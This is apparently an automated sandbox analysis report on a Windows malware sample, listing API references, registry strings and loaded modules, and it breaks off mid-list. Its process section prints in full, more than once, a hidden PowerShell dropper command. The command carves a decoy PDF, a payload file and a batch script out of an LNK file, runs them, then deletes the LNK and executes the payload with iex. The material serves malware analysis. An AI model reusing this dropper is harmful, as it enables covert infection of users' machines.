"00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp, 00000000-00004464.00000002.126844.72055000.00000002.mdmp")35:T42d,file/memory contains long string with (Indicator: "CreateThread"; File: "c2iwyi10.0.cs") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004464.00000001.124922.6F311000.00000002.mdmp")36:T9bb,"SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004464.00000000.123003.00311000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004464.00000000.123003.00311000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004464.00000000.123003.00311000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004464.00000000.123003.00311000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004464.00000000.123003.00311000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004464.00000000.123003.00311000.00000020.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00004464.00000000.123003.026C0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004464.00000001.124922.026C0000.00000004.mdmp 00000000-00004464.00000002.126844.026C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004464.00000001.124922.026C0000.00000004.mdmp 00000000-00004464.00000002.126844.026C0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004464.00000001.124922.026C0000.00000004.mdmp 00000000-00004464.00000002.126844.026C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32" in Source: 00000000-00004464.00000001.124922.026C0000.00000004.mdmp 00000000-00004464.00000002.126844.026C0000.00000004.mdmp "CHINE\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00004464.00000001.124922.081F0000.00000004.mdmp 00000000-00004464.00000002.126844.081F0000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004464.00000001.124922.6F281000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00004464.00000001.124922.6F281000.00000020.mdmp "HKLM\" in Source: 00000000-00004464.00000001.124922.6F281000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004464.00000001.124922.6F281000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004464.00000001.124922.6F281000.00000020.mdmp37:T8c9,Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260) Process "powershell.exe" with commandline "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr;" (UID: 00000000-00004464)38:T1091,Process "cmd.exe" with commandline "/kfor /f "tokens=*" %a in ('dir C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\*rshell.exe /s /b /od') do call %a "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;" && exit" (UID: 00000000-00005204) Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260) Process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%PUBLIC%\\\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat""" (UID: 00000000-00000244)39:Tfe1,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\System32\Windows.UI.AppDefaults.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135]3a:T3581,"cmd.exe" loaded module "KERNEL32" at base 763f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 77170000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 77170000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 77170000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 73df0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77170000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77170000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77170000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 722b0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 763f0000 "cmd.exe" loaded module "NTDLL.DLL" at base 77350000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 77170000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 77170000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 77170000 "powershell.exe" loaded module "KERNEL32" at base 763f0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 722b0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 73ec0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 721a0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 74060000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 74840000 "powershell.exe" loaded module "VERSION.DLL" at base 73a90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 719f0000 "powershell.exe" loaded module "USER32.DLL" at base 74a50000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 77170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 72230000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76080000 "powershell.exe" loaded module "KERNEL32.DLL" at base 763f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70510000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "RPCRT4.DLL" at base 77040000 "powershell.exe" loaded module "OLE32.DLL" at base 74850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 73e20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 724a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 749f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 77170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70480000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 6fa20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6f200000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 76080000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 76080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 77350000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 74bd0000 "powershell.exe" loaded module "PSAPI.DLL" at base 76070000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 74190000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTRUST.DLL" at base 74190000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 74300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 6f1f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73a90000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 6f1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\E7F9E4AF50C666B5FEC85987C303915A\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 6f100000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6e980000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 74300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6e620000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 76080000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 6e5d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 6e5c0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 73d70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6e4b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 6e490000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73820000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPCLIENT.DLL" at base 6e3f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 763f0000 "powershell.exe" loaded module "USERENV.DLL" at base 6f1c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 73ec0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\MSISIP.DLL" at base 6e390000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WSHEXT.DLL" at base 6e370000 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 763f0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\APPXSIP.DLL" at base 6e340000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 6e1e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 6e1b0000 "powershell.exe" loaded module "CRYPTNET.DLL" at base 6e1b0000 "powershell.exe" loaded module "GDI32.DLL" at base 744e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 732c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72410000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 6e2d0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74bd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.APPDEFAULTS.DLL" at base 0 "powershell.exe" loaded module "COMCTL32.DLL" at base 72fe0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73660000 "powershell.exe" 